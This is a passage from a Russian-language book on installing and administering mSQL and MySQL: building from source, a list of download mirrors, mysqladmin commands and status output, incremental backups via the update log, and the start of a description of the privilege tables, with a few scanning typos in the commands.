    После проверки системы программа запрашивает местоположение установки mSQL. Это каталог, содержащий подкаталоги lib и include, в которых расположены библиотеки и включаемые файлы mSQL. По умолчанию этим каталогом является /usr/local /Hughes, но обязательно проверьте это, поскольку во многих системах используется /usr/local или даже /usr/local/Minerva.

    Затем сценарий установки запрашивает путь к MySQL. Как и в случае mSQL, это каталог, содержащий надлежащие подкаталоги lib и include, по умолчанию - /usr/local. Это расположение верно для большинства установок, но следует обязательно проверить, не используются ли другие каталоги.

    После установки сценарий создает соответствующие make-файлы и завершается. Затем нужно запустить make и скомпилировать файлы.

    make

    Если вы правильно установили Perl, mSQL и/или MySQL, то команда make должна пройти без ошибок. После завершения ее работы будут созданы все модули, и единственное, что останется - это протестировать и установить их.

    make test

    Во время выполнения по экрану пробегает ряд отладочных имен, за каждым из которых должно следовать . . . ok. И наконец, нужно установить модули.

    make install

    У вас должно быть разрешение записи в каталог установки Perl. Кроме того, необходимо иметь разрешение на запись в системный каталог для программ (обычно /usr/local/bin или /usr/bin), чтобы установить поставляемые с модулем вспомогательные программы pmsql, pmysql и dbimon.



    Установка

    Подобно большинству сервисов, СУБД MySQL и mSQL работают как фоновые процессы, в Unix-системах называемые также демонами. В данной главе обсуждается процесс их распаковки и установки.



    MSQL

    Первым шагом в установке mSQL является получение дистрибутива исходного кода. На момент написания этой книги самые новые версии mSQL распределялись только с веб-страницы Hughes Technology на http://www.hughes.com.avl. Автор mSQL предпочел официально не распространять двоичные дистрибутивы mSQL. Если на вашей машине нет компилятора С, то вам следует либо установить его, либо скомпилировать на такой же машине с той же операционной системой и перенести результат.

    Полученный дистрибутив с исходным кодом mSQL распакуйте командой:

    gunzip - с msql-2.0.4.1.tar.gz | tar xvf -

    В результате в рабочем каталоге будет образован каталог с именем msq 1-2.0.4.1. Перейдите в него.

    Создайте на своей машине инсталляционный каталог командой:

    make target

    Теперь перейдите в каталог targets. В нем должен быть новый каталог с названием вашей операционной системы и платформы, например, Solaris-2.6-Spare или Linux-2.0. 33-1386. Перейдите в этот каталог.

    В рабочем каталоге запустите сценарий setup. Лучше запустите его как . /setup, чтобы командный процессор не запустил программу setup из какого-нибудь другого каталога. Сценарий сконфигурирует исходный код для компиляции. После выполнения сценария рассмотрите файл site.mm и измените необходимые параметры для настройки своей локальной установки. В частности, вы, возможно, захотите изменить переменную INST_DIR, задающую каталог, в который устанавливается mSQL. Если конфигурация вас устраивает, для компиляции mSQL выполните команду:

    make all

    После компиляции установите mSQL в выбранный вами каталог с помощью команды:

    make install

    Вся последовательность шагов при инсталляции выглядит следующим образом:

    gzip - с msql-x.x.x.tar.gz tar xvf -

    cd msql-x.x.x

    make target

    cd targets/myOS-mymachine

    ./setup

    make all

    make install

    MySQL

    Прежде чем начать установку MySQL, нужно ответить на пару вопросов.

  • Собираетесь ли вы устанавливать MySQL как пользователь root или какой-либо другой пользователь?

    MySQL не требует для своей работы прав суперпользователя, но при установке с правами root вы даете каждому пользователю вашей системы доступ к одному экземпляру программы. Если у вас нет прав суперпользователя, установку придется произвести в свой исходный каталог. Однако, даже если вы установите MySQL как суперпользователь, лучше запускать под другим логином. Благодаря этому данные вашей базы данных можно защитить от других пользователей, установив для конкретных пользователей MySQL права только чтения файлов данных. Кроме того, при компрометации защиты базы данных нарушитель получает доступ только к учетной записи отдельного пользователя MySQL, не имеющей привилегий за пределами базы данных.

  • Будете ли вы устанавливать MySQL из исходного кода или откомпилированных модулей?

    Имеется много откомпилированных двоичных пакетов MySQL. Это экономит время, но уменьшает возможности настройки при установке. Для установки из исходного кода вам потребуется компилятор С и другие инструменты разработчика. Если они у вас имеются, то преимущества установки из исходного кода обычно перевешивают мелкие неудобства.

    MySQLЭти два вопроса взаимосвязаны. При установке из двоичного пакета вы должны быть зарегистрированы как root. Установка из двоичного пакета использует некоторые данные о путях, зашитые в двоичные файлы, что вынуждает вас регистрироваться при установке как тот, кто создал прекомпилирован-ный пакет. MySQL позволяет задать параметры командной строки, переопределяющие эти пути, но обычно меньше хлопот доставляет установка из исходного кода.

    В любом случае сначала необходимо получить дистрибутив.

    Таблица 3-1. Список серверов Интернета, с которых можно взять экземпляр исходного кода или двоичных файлов MySQL



    Азия


    Корея


    KREONet


    http://linux.kreonet.re.hr/mysql/


    Япония


    Soft Agency


    http://www.softagency.co.jp/MySQL/





    Nagoya Syouka University


    http://mirror.nucba.ac.jp/mirror/mysql/





    Nagoya Syouka University


    ftp://mirror.nucba.ac.jp/mirror/ mysql/





    HappySize


    http://www.happysize.co.jp/mysql/





    HappySize


    ftp://ftp.happysize.co.jp/pub/mysql/


    Сингапур


    HJC


    http://mysql.hjc.edu.sg/





    HJC


    ftp://ftp.hjc.edu.sg/mysql/


    Тайвань


    NCTU


    http://mysql.taconet.com.tw/





    TTN


    http://mysql.ttn.net


    Австралия


    Австралия


    AARNet/Queensland


    http://mirror.aarnet.edu.au/mysql/





    AARNet/Queensland


    ftp://mirror.aarnet.edu.au/pub/ mysql/





    Blue Planet/Melbourne


    http://mysql.bluep.com





    Blue Planet/Melbourne


    ftp://mysql.bluep.com/pub/mirrorl/ mysql/





    Tas


    http://ftp.tas.gov.au/mysql/





    Tas


    ftp://ftp.tas.gov.au/pub/mysql/


    Африка


    Южная Африка


    The Internet Solution/ Johannesburg


    ftp://ftp.is.co.za/linux/mysql/

    <


    Европа



    Австрия



    University of Technology/Vienna



    http://gd.tuwien.ac.at/db/mysql/







    University of Technology/Vienna



    ftp://gd.tuwien.ac.at/db/mysql/



    Болгария



    Naturella



    ftp://ftp.ntrl.net/pub/mirror/mysql/



    Дания



    Ake



    http://mysql.ake.dk







    SunSITE



    http://sunsite.auc.dk/mysql/







    SunSITE



    ftp://sunsite.auc.dk/pub/databases/ mysql/



    Эстония



    Tradenet



    http://mysql.tradenet.ee



    Финляндия



    EUnet



    http://mysql.eunet.fi



    Франция



    Minet



    http://www.minet.net/devel/mysql/



    Германия



    Bonn University, Bonn



    http://www.wipol.uni-bonn.de/ MySQL/







    Bonn University, Bonn



    http://www.wipol.uni-bonn.de/ MySQL/







    Wolfenbuettel



    http://www.fh-wolfenbuettel.de/ftp/ pub/database/ mysql/







    Wolfenbuettel



    ftp://ftp.fh-wolfenbuettel.de/pub/ database/ mysql/







    Staufen



    http://mysql.staufen.de



    Греция



    NTUA, Athens



    http://www.ntua.gr/mysql/







    NTUA, Athens



    ftp://ftp.ntua.gr/pub/databases/



    Венгрия



    Xenia



    http://xenia.sote.hu/ftp/mirrors/







    Xenia



    ftp://xenia.sote.hu/pub/mirrors/



    Израиль



    Netvision



    http://mysql.netvision.net.il



    Италия



    Teta Srl



    http://www.teta.it/mysql/



    Польша



    Sunsite



    http://sunsite.icm.edu.pl/mysql/







    Sunsite



    ftp://sunsite.icm.edu.pl/pub/unix/



    Португалия



    lerianet



    http://mysql.leirianet.pt







    lerianet



    ftp://ftp.leirianet.pt/pub/mysql/



    Россия



    DirectNet



    http://mysql.directnet.ru







    IZHCOM



    http://mysql.udm.net







    IZHCOM



    http://mysql.udm.net



    Румыния



    Bucharest



    http://www.lbi.ro/MySQL/







    Bucharest



    ftp://ftp.lbi.ro/mirrors/ftp.tcx.se







    Timisoara



    http://www.dnttm.ro/mysql/







    Timisoara



    ftp://ftp.dnttm.ro/pub/mysql



    Швеция



    Sunet



    http://ftp.sunet.se/pub/unix/ databases/ relational/ my sql/







    Sunet



    ftp://ftp.dnttm.ro/pub/mysql







    тcх



    http://www.tcx.se







    тcх



    ftp://www.tcx.se







    тcх



    http://www.mysql.com (Primary Site)







    тcх



    ftp://ftp.mysql.com (Primary Site)



    Англия



    Omnipotent/UK



    http://mysql.omnipotent.net







    Omnipotent/UK



    ftp://mysql.omnipotent.net







    PHG/UK



    http://ftp.plig.org/pub/mysql/







    PliG/UK



    ftp://ftp.plig.org/pub/mysql/



    Украина



    РАСО



    http://mysql.paco.net.ua







    РАСО



    ftp://mysql.paco.net.ua



    Северная Америка



    Канада



    Tryc



    http://web.tryc.on.ca/mysql/



    США



    Circle Net/North Carolina



    http://www.mysql.net







    DIGEX



    ftp://ftp.digex.net/pub/database/







    Gina net/Florida



    http://www.gina.net/mysql/







    Hurricane Electric/San Jose



    http://mysql.he.net







    Netcasting/West Coast



    ftp://ftp.netcasting.net/pub/mysql/







    Phoenix



    http://phoenix.acs.ttu.edu/mysql/







    pingzero/Los Angeles



    http://mysql.pingzero.net



    Южная Америка



    Чили



    Amerikanclaris



    http://www.labs.amerikanclaris.cl/







    vision



    http://mysql.vision.cl

    <


    Подключившись к серверу FTP, войдите в каталог Downloads. В нем будут перечислены несколько версий MySQL, например:

    MySQL-3.21

    MySQL-3.22

    MySQL-3.23

    Самый высокий номер версии соответствует нестабильному выпуску, в котором производится добавление и проверка новых характеристик. Отдельные подверсии его будут иметь пометки 'alpha', 'beta' или 'gamma'. Предыдущая версия является текущей стабильной версией. Эта версия тщательно проверена и считается свободной от ошибок. Доступны также более ранние архивные версии.

    Если разрабатываемая версия находится на этапе 'alpha', вам определенно следует придерживаться стабильной версии, если только вы не любитель острых ощущений. В случае когда разрабатываемая версия находится на стадии 'beta', возможно, следует выбрать предыдущую версию, если только в новой версии нет крайне необходимых для вас характеристик или устойчивость системы, на которой вы работаете, не очень критична. С другой стороны, версией 'gamma' можно уверенно пользоваться при отсутствии в ней известных конфликтов с вашей системой.

    Вы можете точно проверить, на какой стадии находится конкретная версия MySQL, перейдя в ее каталог. Например, каталог MySQL-3.22 может выглядеть следующим образом:

    mysql-3.22.19-beta-sgi-irix6,4-mip.tgz

    mysql-3.22.21a-beta-ibm-aix4.2.1.0-rs6000.tgz

    mysql-3.22.31-pc-linux-gnu-i586.tgz

    mysql-3.22.33-sun-solaris2.6-sparc.tgz

    mysql-3.22.33.tar.gz

    Файлы, имена которых включают названия машин и операционных систем, являются двоичными версиями для этих систем. Если название машины не указано, как в последней строке, то это исходный код. Если к файлу не присоединена метка 'alpha', 'beta' или 'gamma' - это стабильная версия. Что касается двух последних файлов списка, то первый - откомпилированная версия для Sun Solaris на машине Spare, а последний - исходный код. Прочие, более старые версии существуют, поскольку у команды разработчиков не всегда есть время и возможность откомпилировать каждую подверсию MySQL на каждой существующей операционной системе и аппаратной конфигурации. В действительности, большая часть прекомпилированных версий предоставлена обычными пользователями, которым удалось успешно откомпилировать последнюю версию на своей системе.


    Зная это, вы можете теперь выбрать версию MySQL, которую хотите использовать, и загрузить исходный код, если собираетесь компилировать MySQL, или двоичный дистрибутив для вашей машины, если он существует. Когда отсутствует двоичный дистрибутив, точно соответствующий вашей конфигурации, проверьте, нет ли его для слегка отличной конфигурации. Например, mysql-3.22.32a-ibm-aix4.2.1.0-powerpc.tgz может работать также на версии AIX 4.1.4 на том же типе машин. Если вы не можете таким образом подобрать работающую версию, попробуйте поискать в более старых версиях MySQL. Если и это не удастся, придется компилировать исходный код. В случае успешной компиляции и запуска MySQL можно предоставить откомпилированные двоичные файлы команде разработчиков MySQL для включения в архив.

    Установка из исходного кода

    Загрузив дистрибутив с исходным кодом, распакуйте архив с помощью команды:

    gunzip - с mysql-x.xx.xx.tar.gz | tar xvf -

    где mysql-x. xx. xx . tar. gz - имя загруженного вами файла. В результате в рабочем каталоге будет создан каталог mysql-x. xx. xx. Перейдите в него. Запустите сценарий configure в рабочем каталоге. Вызовите его как . /configure, чтобы случайно не запустить программу с тем же именем, находящуюся где-либо в другом месте. Во многих случаях установка прекрасно проходит без задания каких-либо параметров, но при возникновении трудностей можно использовать многочисленные параметры, информацию о которых можно вывести на экран, задав ключ -help. Вот наиболее употребительные:

    --without-server

    В результате компилируются все имеющиеся клиенты MySQL, но не сервер.

    -prefix

    Устанавливается каталог инсталляции, отличный от каталога по умолчанию (/usr/ local/ ).

    -with-low-memory

    Эта опция запрещает компилятору использовать некоторые виды оптимизации, требующие много памяти при компиляции. С ее помощью устраняется большинство ошибок, связанных с нехваткой памяти при компиляции.

    -localstatedir

    Используется для назначения каталога для файлов базы данных, отличающегося от принятого по умолчанию (/usr/local/var).


    -with-charset

    Используется для выбора набора символов, отличного от принятого по умолчанию (lati.nl). На момент написания книги доступны наборы символов big5, danish, cp1251, cp1257, croat, czech, dec8, dos,

    euc_kr, germanl, Hebrew, hp8, hungarian, koi8_ru, koi8_ukr, latin1, Iatin2, swe7, usa7, win1251, win1251u, kr, ujis, sjis, tis620.

    После завершения выполнения сценария configure запустите make в рабочем каталоге. В результате будет произведена полная компиляция.

    По завершении компиляции команда make install установит все в нужное место.

    Если вы впервые устанавливаете на данной машине MySQL или все файлы баз данных MySQL были удалены после предыдущей инсталляции, выполните следующую команду, чтобы создать структуру баз данных и административные таблицы:

    ./scripts/mysql_install_db

    При этом запустится также демон сервера. Чтобы убедиться в том, что он работает, перейдите в инсталляционный каталог (по умолчанию / usr/local/) и введите команду:

    ./bin/mysqladmin version

    На экран будет выведено что-то, близкое к следующему:

    mysqladmin Ver 7.11 Distrib 3.22.23b, for linux on 1586

    TCX Datakonsult AB, by Monty

    Server version 3.22.23b-debug

    Protocol version 10

    Connection Localhost via UNIX socket

    UNIX socket /tmp/mysql.sock

    Uptime: 6 sec

    Threads: 1 Questions: 1 Slow queries: 0 Opens: 6 Flush tables: 1 Open

    tables: 2 Memory in use: 1093K Max memory used: 1093K

    Итак, последовательность шагов установки такова:

    gzip - с mysql-x.xx. xx. tar. gz | tar xvf -

    cd mysql-x.xx.xx

    ./configure

    make

    make install

    ./scripts/mysql_install_db

    ./bin/mysqladmin version

    Установка двоичного дистрибутива

    Загрузив двоичный дистрибутив, вы должны выбрать каталог для установки файлов MySQL. Чаще всего выбирается /usr/local/mysql, но это в значительной мере зависит от потребностей ваших пользователей, и имеющихся у вас прав доступа.

    Перейдите в каталог на уровень выше, чем тот, в котором вы хотите разместить дистрибутив MySQL. Например, если вы хотите использовать /usr/local/mysql, перейдите в /usr/local. Для распаковки дистрибутива выполните команду:


    gunzip - с /tmp/mysql-x.xx.xx-fflymac/line. tgz | tar xvf -

    Здесь /tmp - имя каталога, в который вы загрузили дистрибутив MySQL, a mysql-x.xx.xx-mymachine.tgz - имя загруженного файла.

    В результате в текущем каталоге будет создан каталог mysql-x.xx.xx mysql. Если вы хотите, чтобы файлы были просто в каталоге mysql, создайте связь:

    In - s mysql-x.xx.xx mysql

    Теперь проверьте, содержит ли двоичный пакет таблицы назначения прав доступа. Перейдите в каталог mysql/mysql. Если он не существует или пуст, вам придется создать таблицы самому. Вернитесь назад, на один уровень, в главный каталог установки mysql и выполните команду:

    scripts/mysql_install_db

    Эту команду нужно выполнить только один раз. Для запуска демона MySQL введите:

    bin/safe_mysqld --log &

    Чтобы убедиться, что демон правильно работает, введите:

    bin/mysqladmin version

    Ответ должен быть примерно таким:

    Mysqladmin Ver 6.3 Distrib 3.21.33, for sun-solaris2.6 on spare

    TCX Datakonsult AB, by Monty

    Server version 3.21.17-alpha

    Protocol version 10

    Connection Localhost via UNIX socket

    TCP Port 3333

    UNIX socket /tmp/mysql.sock

    Uptime: 13 sec

    Running threads: 1 Questions: 20 Reloads: 2 Open Tables: 3



    Администрирование базы данных

    Теперь, когда у вас есть свежеустановленная и запущенная MySQL, нужно первым делом поменять пароль суперпользователя сервера, выполнив из каталога, в который установлена MySQL, команду:

    ./bin/mysqladmin -u root password 'mynewpasswd'

    При работающей и защищенной MySQL вы можете заняться некоторыми начальными задачами администрирования, чтобы MySQL смогла начать вам служить.

    Утилита mysqladmin

    Главным инструментом администрирования баз данных в MySQL служит утилита mysqladmin. С ее помощью вы можете создавать, уничтожать и контролировать свой сервер и поддерживаемые им базы данных.

    Создание баз данных

    Ваш сервер бесполезен, пока нет баз данных, которые он обслуживает. С помощью mysqladmin можно создавать новые базы данных:

    mysqladmin -p create DATABASENAME

    Параметр -р указывает, что вы хотите, чтобы было выдано приглашение для ввода пароля суперпользователя, который вы задали раньше. Если вы введете правильный пароль, то mysqladmin создаст новую пустую базу данных с именем, которое вы указали. Поскольку в MySQL база данных - это каталог с группой файлов, команда mysqladmin create создает новый каталог, который будет содержать файлы базы данных. Например, если вы создали базу данных с именем "mydata", в каталоге data, содержащемся в директории, в которую установлена MySQL, будет создан каталог mydata.

    Администрирование базы данныхПоскольку базы данных и таблицы MySQL хранятся как файлы файловой системы, вы столкнетесь с неприятными различиями -в поведении реализаций для Unix и Win32. Именно, все файловые системы для Win32 нечувствительны к регистру, в то время как файловые системы Unix различают регистр. В результате имена баз данных и таблиц различаются по регистру в Unix и не различаются в Win32.

    Удаление базы данных

    В процессе разработки приложения вам, вероятно, потребуется создать несколько баз данных для поддержки процесса разработки. Например, обычной практикой в разработке приложений баз данных является создание отдельных баз данных для разработки, тестирования и работы. По завершении разработки следует избавиться от этих промежуточных баз данных. Утилита mysqladmin позволяет удалить базу данных с помощью параметра "drop":


    mysqladmin -p drop DATABASENAME

    Как и в команде mysqladmin create, DATABASENAME является именем базы данных, которую нужно уничтожить. MySQL не позволит вам случайно удалить базу данных. После ввода этой команды она предупредит вас, что удаление базы данных потенциально очень опасно и попросит вас подтвердить свое намерение. После удаления базы данных вы можете убедиться в том, что в каталоге data больше нет каталога, служившего ранее этой базой данных.

    Переименование и копирование баз данных

    В MySQL нет утилиты для переименования и копирования баз данных. Поскольку база данных - это просто файлы в некотором каталоге, можно, соблюдая осторожность, переименовывать и копировать базы данных с помощью операционной системы. Хотя использование команд операционной системы позволяет переименовывать и копировать базы данных, результат не сохранит параметров защиты исходных таблиц, поскольку MySQL хранит данные по защите в таблице системной базы данных. Для того чтобы полностью скопировать базу данных, вам потребуется также продублировать ее информацию по защите, хранимую в системной базе данных MySQL. Мы подробнее рассмотрим систему защиты MySQL далее в этой главе.

    Состояние сервера

    В утилите mysqladmin очень много команд, позволяющих контролировать состояние сервера MySQL. Ввод команды mysqladmin status обеспечивает выдачу состояния сервера в одной строке, которая выглядит следующим образом:

    Uptime: 395 Threads: 1 Questions: 14 Slow queries: 0

    Opens: 10 Flush tables: 1 Open tables: 6

    Выводимые величины означают следующее: Uptime

    Число секунд, в течение которых сервер запущен и работает. Threads

    Число потоков, взаимодействующих с базой в данный момент. Вы всегда увидите хотя бы один поток - тот, который подсчитывает все остальные потоки. Сервер имеет также три других потока, невидимых данной команде, - один обрабатывает сигналы, другой управляет всеми другими потоками и третий ждет входящих соединений.

    Questions

    Число запросов, переданных базе данных с момента запуска.


    Slow queries

    Число запросов, выполнение которых потребовало больше времени, чем время, указанное в конфигурации. Соответствующий ключ в конфигурации - long_query_tiroe . Мы рассмотрим параметры конфигурации далее в этой главе.

    Opens

    Число таблиц, открытых с момента запуска сервера.

    Flush tables

    Количество команд flush, refresh и reload.

    Open tables

    Число таблиц, открытых в данный момент. Поскольку MySQL мно-гопоточна, каждая таблица одновременно может быть открыта несколько раз. Например, можно одновременно выполнять любое число команд SELECT по одной и той же таблице. По этой причине число открытых таблиц может быть больше, чем общее число таблиц в системе.

    Если компиляция MySQL производилась с параметром --with-debug , то mysqladmin status показывает также текущую и максимальную величину используемой памяти.

    Если вас интересует более общая статическая информация, то выполните команду mysqladmin version. Она выдает на экран следующее:

    bin/mysqladmin Ver 7.8 Distrib 3.22.17, for sun-solaris2.6 on spare TCX Datakonsult AB, by Monty

    Server version 3.22.17

    Protocol version 10

    Connection Localhost via Unix socket

    Unix socket /tmp/;ny3ql. sock

    Uptime: 23 mm 58 sec

    Threads: 1 Questions: 15 Slow queries: 0 Opens: 10 Flush tables: 1 Open tables: 6

    Последняя строка совпадает, конечно, с теми данными, которые показывает mysqladmin status. Остальные данные совершенно другие.

    Server version

    Версия запущенного сервера MySQL. Protocol version

    Версия коммуникационного протокола MySQL, который поддерживает сервер. Если у вас возникли трудности с инструментарием, который использует коммуникационный протокол MySQL, вы можете сравнить это значение с тем, которое ожидает ваша программа.

    Connection

    Метод подключения к серверу. В нашем примере клиент общается с MySQL через сокет Unix. Если вы обращаетесь к удаленному серверу, в этой позиции будет имя машины, с которой вы подключились.

    Unix socket

    Имя файла сокета, который вы используете для обмена данными с сервером. Если вы связываетесь с MySQL через TCP/IP, вместо этого пункта будет указан пункт TCP port с номером порта MySQL.


    Uptime

    Суммарное время работы сервера.

    Две другие команды, mysqladmin variables и mysqladmin extended-status, предлагают дополнительную информацию.

    Поскольку MySQL многопоточна, отследить активность процесса с помощью команды Unix ps не просто. Несмотря на то что выполняется несколько потоков, в списке процессов будет указан только один процесс. MySQL позволяет справиться с этим с помощью команды mysqladmin processlist, которая перечисляет все активные потоки в виде чудесно представленной таблички:

    Администрирование базы данных

    Здесь точно указано, чем занят каждый процесс. Выдаваемые величины имеют следующий смысл:

    Id

    Внутренний идентификационный номер потока. Это значение не имеет отношения к каким-либо системным ID процессов. Вы можете использовать это число в команде mysqladmin kill, чтобы завершить поток.

    User

    Пользователь, подключенный к серверу через этот поток.

    Host

    Имя узла, с которого подключился пользователь.

    db

    База данных, к которой подключен пользователь.

    Command

    Тип команды, выполняемой потоком. Команда может иметь один из следующих типов:

    Sleep

    Поток ждет ввода пользователя. Большинство процессов должно находиться в этом состоянии.

    Quit

    Поток в процессе завершения.

    Init DB

    Поток готовит выбранную базу к взаимодействию. Клиент одновременно может обмениваться данными только с одной базой, но переключение между базами можно осуществить в любой момент.

    Query

    Поток выполняет реальный запрос. Хотя наибольшая часть взаимодействия с базой данных происходит в виде запросов, эти команды производятся очень быстро и редко появляются в выдаче.

    Field list

    Поток создает список полей в таблице.

    Create DB

    Поток создает новую базу данных.

    Drop DB

    Поток удаляет базу данных.

    Reload

    Поток перезагружает таблицы доступа MySQL. После перезагрузки все новые потоки будут использовать обновленные таблицы доступа.

    Shutdown

    Поток находится в процессе завершения всех других потоков и закрытия сервера.

    Statistics

    Поток генерирует статистику.


    Processes

    Этот поток анализирует другие потоки. С этим значением будет показан поток, выполняющий данную команду.

    Connect

    Поток в процессе установления входящего соединения с клиентом.

    Kill

    Этот поток завершает другой поток.

    Refresh

    Поток очищает все буферы и сбрасывает журнальные файлы.

    Файлы журналов MySQL дают еще один способ получения полезной информации для администрирования сервера. MySQL создает главный журнал, если mysqld запускается с параметром --log. Этот журнал ведется в файле /usr/local/var/HOSTNAME.log, где HOSTNAME - имя машины, на которой запущен MySQL. В этот журнал записываются подключения к серверу и команды, посылаемые ему клиентами.

    Задав параметр -debug для mysqld (или safe_mysqld), вы заставите MySQL посылать в журнал дополнительную информацию. Пакет отладки, используемый MySQL, имеет десятки параметров, большинство из которых вы никогда не будете использовать. Наиболее часто используется установка -d:t:o,FILENAME, где FILENAME - имя журнала отладки, который вы хотите использовать. При задании этого параметра в журнал будут заноситься практически все действия сервера, шаг за шагом.

    MySQL поддерживает еще один журнал, пригодный для чтения. Если запустить MySQL с параметром -log-update, будет создан файл с именем HOSTNAME. #, где HOSTNAME имя машины, a #- уникальное число. В этом журнале содержатся все изменения, вносимые в таблицы баз данных. Этот журнал создается в виде SQL, поэтому все операции можно воспроизвести на другом сервере баз данных.

    Завершение работы сервера

    Следующая команда производит корректное завершение работы сервера MySQL:

    mysqladmin -p shutdown

    Эта команда - самый правильный способ завершения работы сервера. Если вы запустили MySQL с помощью safe_mysqld и пытаетесь закрыть сервер каким-либо другим способом, safe_mysqld просто запустит еще один экземпляр сервера. Можно также безопасно закрыть сервер традиционной Unix-командой kill, но никогда не пользуйтесь kill-9.

    Параметры командной строки для mysqladmin


    Утилита mysqladmin - очень богатый инструмент со множеством параметров командной строки. Общий ее формат

    mysqladmin OPTIONS COMMAND1 COMMAND2 . . . COMMANDn

    Иными словами, можно одновременно задавать несколько команд. Будет выполнена даже такая последовательность команд как, скажем,

    mysqladmin -p create silly drop silly

    Эта команда одним махом создаст и уничтожит базу данных "silly". Вот перечень команд, которые можно передать mysqladmin:

    create DATABASENAME

    Создает новую базу данных с указанным именем.

    drop DATABASENAME

    Удаляет базу данных с указанным именем.

    extended-status

    Выдает расширенное сообщение о статусе сервера.

    flush-hosts

    Немедленно записывает все буферизованные изменения на удаленных компьютерах.

    flush-logs

    Немедленно записывает все буферизованные изменения в журналы.

    flush-tables

    Немедленно записывает все буферизованные изменения в таблицы.

    flush-privileges

    То же, что reload.

    killID1,ID2.....IDn

    Завершает потоки с заданными IDs.

    password NEWPASSWORD

    Заменяет пароль на новое значение.

    ping

    Проверяет, работает ли еще mysqld.

    processlist

    Выдает список активных потоков.

    reload

    Заново загружает все таблицы доступа.

    refresh

    Записывает буферизованные изменения во все таблицы и закрывает и открывает все журналы.

    shutdown

    Завершает работу сервера.

    status

    Выдает краткое сообщение о состоянии сервера.

    variables

    Выдает значения имеющихся переменных.

    version

    Выдает данные о версии сервера.

    Кроме команд поддерживаются также следующие параметры:

    -# LOG

    Выдача отладочной информации в журнал. Часто это 'd:t:o,FILENAME'.

    -f

    Не запрашивать подтверждение на удаление таблицы и переходить к следующей команде даже при невозможности выполнить эту.

    -? или --help

    Выдача подсказки по использованию утилиты msqladmin.



    Использовать сжатие в протоколе клиент/сервер.

    -Н HOST

    Подключиться к указанному компьютеру.

    -р [PASSWORD]

    Использовать указанный пароль для проверки прав пользователя.


    Если пароль не указан, пользователю будет выдано приглашение для ввода пароля.

    -Р PORT

    Использовать для подключения указанный порт.

    -i SECONDS

    Повторно выполнять команды через заданный промежуток времени.

    -s

    Выйти без сообщений, если соединение с сервером невозможно установить.

    -S SOCKET

    Файл для использования в качестве сокета Unix.

    -t TIMEOUT

    Тайм-аут для соединения.

    -u USER

    Имя для регистрации пользователя, если оно отлично от текущего.

    -V

    Выдать информацию о версии и завершить работу.

    -w COUNT

    Ждать и повторить попытку заданное число раз, если сервер в данный момент не готов.

    Резервирование данных

    Нельзя переоценить важность регулярного резервирования данных. Без работоспособной резервной копии в результате аварии питания могут быть потеряны месяцы и годы работы. В то же время при хорошо спланированном резервировании можно за короткое время восстановить данные почти при любой аварии.

    В главе 5 "mSQL" приводится подробное изложение роли команды msqldump при резервировании данных mSQL. MySQL поддерживает почти идентичную функциональность в виде команды mysqldump. Мы рекомендуем изучить этот пункт, чтобы понять роль mysqldump при полном резервировании баз данных. В данном параграфе мы остановимся на следующем наиболее важном виде резервирования - инкре-ментном резервировании.

    Хотя технически полного резервирования данных вполне достаточно для восстановления после потери данных, его иногда трудно осуществить. Когда у вас много данных, файлы, необходимые для полного резервирования, могут занимать слишком большое дисковое пространство. Поэтому общепринято осуществлять полное резервирование раз в неделю или через небольшие промежутки времени, а ежедневно производить резервирование данных, изменившихся с момента последнего полного резервирования. Это называется инкрементным резервированием.

    При использовании MySQL инкрементное резервирование можно производить, используя такую возможность сервера баз данных, как "update log" - журнал изменений MySQL. Если сервер баз данных mysqld запущен с параметром --log-update, то все изменения в базе данных будут сохраняться в файле в виде команд SQL. Изменения будут сохраняться в порядке их производства. В результате получается файл, который, будучи обработан монитором mysql, воспроизведет все действия, произведенные над базой данных. Если журнал хранится с самого образования базы данных, то будет восстановлен весь жизненный цикл базы данных, который приведет ее в текущее состояние.


    С большей пользой журнал, ведущийся с некоторого определенного момента, например, от последнего резервирования базы данных, можно использовать для приведения резервной копии в текущее состояние. Такова технология инкрементного резервирования. Производите регулярное (скажем, раз в неделю) полное резервирование базы данных. Затем каждый день копируйте журнал изменений на магнитную ленту или выделенную область жесткого диска. Сохраняйте копии всех ежедневных журналов изменений, начиная с даты последнего полного резервирования. Это позволяет восстановить базу данных в случае аварии, а также все данные, утраченные с момента последнего резервирования. Поскольку журнал изменений является текстовым файлом, можно просмотреть команды SQL для поиска конкретных данных.

    Каким бы методом вы не пользовались для резервирования, производите его часто и периодически проверяйте возможность реального восстановления своих данных. Многие администраторы баз данных старательно сохраняли резервные данные лишь для того, чтобы в один прекрасный день убедиться, что в результате ошибки - оператора, программы или носителя информации - их резервные копии стали абсолютно бесполезны.

    Система безопасности

    Вам не только нужно иметь надежный доступ к своим данным, но и быть уверенным, что у других нет никакого доступа к ним. MySQL использует собственный сервер баз данных для обеспечения безопасности. При первоначальной установке MySQL создается база данных под названием "mysql". В этой базе есть пять таблиц: db, host, user, tab-les_priv, и columns_priv . Более новые версии MySQL создают также базу данных с названием func, но она не имеет отношения к безопасности. MySQL использует эти таблицы для определения того, кому что позволено делать. Таблица user содержит данные по безопасности, относящиеся к серверу в целом. Таблица host содержит права доступа к серверу для удаленных компьютеров. И наконец, db, tables_priv и со-lumns_priv управляют доступом к отдельным базам данных, таблицам и колонкам.


    Мы кратко рассмотрим все таблицы, поддерживающие безопасность в MySQL, а затем рассмотрим технологию их использования при обеспечении защиты ядром MySQL.

    Таблица user

    Таблица user имеет вид, показанный в Таблице 4-1:

    Таблица 4-1. Таблица user



    Поле



    Тип



    Null



    Ключ



    Значение



    Примеч.



















    по умолчанию







    Host



    char(60)







    PRI











    User



    char(16)







    PRI













    Поле



    Тип



    Null



    Ключ



    Значение



    Примеч.



















    по умолчанию







    Password



    char(16)



















    Select_priv



    enum('N','Y')











    N





    Insert priv enum('N','Y') N


    Update_priv



    enum('N','Y')











    N







    Delete_priv



    enum('N','Y')











    N







    Create_priv



    enum('N','Y')











    N







    Drop priv



    enum('N','Y')











    N







    Reload priv



    enum('N','Y')











    N







    Shutdown_priv



    enum('N','Y')











    N







    Process_priv



    enum('N','Y')











    N







    File_priv



    enum('N','Y')











    N







    Grant_priv



    enum('N','Y')











    N







    References_priv



    enum('N','Y')











    N







    Index_priv



    enum('N','Y')











    N







    Alter_priv



    enum('N','Y')











    N





    В колонках Host и User можно использовать символ "% ", заменяющий произвольную последовательность символов. Например, имя узла "chem%lab" включает в себя "chembiolab", "chemtestlab" и т. д. Специальное имя пользователя "nobody" действует как одиночный "% ", то есть охватывает всех пользователей, не упомянутых где-либо в другом месте. Ниже разъясняется смысл различных прав доступа:

    Select_priv

    Возможность выполнять команды SELECT.

    Insert__priv

